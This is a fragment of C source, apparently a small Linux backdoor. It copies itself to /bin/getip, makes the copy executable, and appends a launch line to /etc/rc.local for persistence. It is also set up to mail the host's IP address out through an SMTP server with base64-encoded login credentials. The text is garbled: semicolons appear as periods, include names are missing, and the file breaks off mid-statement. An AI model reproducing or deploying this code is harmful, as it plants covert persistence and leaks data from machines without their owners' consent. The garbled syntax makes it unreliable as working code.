code by sink ([email protected])
#include //include socket
#include
#include //include fopen(),fread().fwrite(),fclose()
#include //include system()
#include //include gethostbyname()
#define PORT 25 //smtp port
#define SIZE 1024
//define mail commands
#define EHLO 0
#define AUTH 1
#define USER 2
#define PASS 3
#define MAIL 4
#define RCPT 5
#define DATA 6
#define CONT 7
#define QUIT 8
void base64enc(const char *,char *).
int main(int argc,char *argv[])
{
int sockfd.
struct sockaddr_in server_addr.
struct hostent *server_ip.
int numbytes=0,i=0.
char username[512]="".//mail username
char passwd[512]="".//mail passwd
//buff store data by recv(),
//ip[SIZE] store data by fread() from ip_files
(use "ifconfig >tmp.ip",het ip_files)
char buff[512]="",tmp[4]="",ip[SIZE]="".
int ret=0.//function return
FILE *f_open,*f_write.
char *msg[9]={""}.
char *n_return[9]={""}. //return number
msg[EHLO]="ehlo smtp.163.com\n".
msg[AUTH]="auth login\n".
base64enc("your name",username).
strcat(username,"\n").
msg[USER]=username.
base64enc("your passwd",passwd).
strcat(passwd,"\n").
msg[PASS]=passwd.
msg[MAIL]="mail from:[email protected]\n".
msg[RCPT]="rcpt to:[email protected]\n".
msg[DATA]="data\n".
msg[QUIT]="quit\n".
n_return[EHLO]="250".
n_return[AUTH]="334".
n_return[USER]="334".
n_return[PASS]="235".
n_return[MAIL]="250".
n_return[RCPT]="250".
n_return[DATA]="354".
n_return[CONT]="250".
copy self to /bin/getip
if(strcmp(argv[0],"/bin/getip")!=0)// if file /bin/getip
is not existed,copy to it
{
if((f_open=fopen(argv[0],"rb")) ==NULL)//open self
{
perror("fopen argv[0] error").
return(-1).
}
if((f_write=fopen("/bin/getip","wb")) ==NULL)//open the
file which we will write to
{
perror("fopen /bin/getip error").
return(-1).
}
while(fread(tmp,sizeof(tmp),1,f_open)!=0)//read from currect file
{
if(fwrite(tmp,sizeof(tmp),1,f_write) ==0)//write to /bin/getip
{
perror("fwrite error").
return(-1).
}
}
fclose(f_open).//close all files we have opened
fclose(f_write).
//chmod 755 /bin/getip
if((ret=system("chmod 755 /bin/getip"))==-1)
{
perror("system error").
return(-1).
}
//call system("echo /bin/getip >>/etc/rc.local")
if((ret=system("echo /bin/getip &. |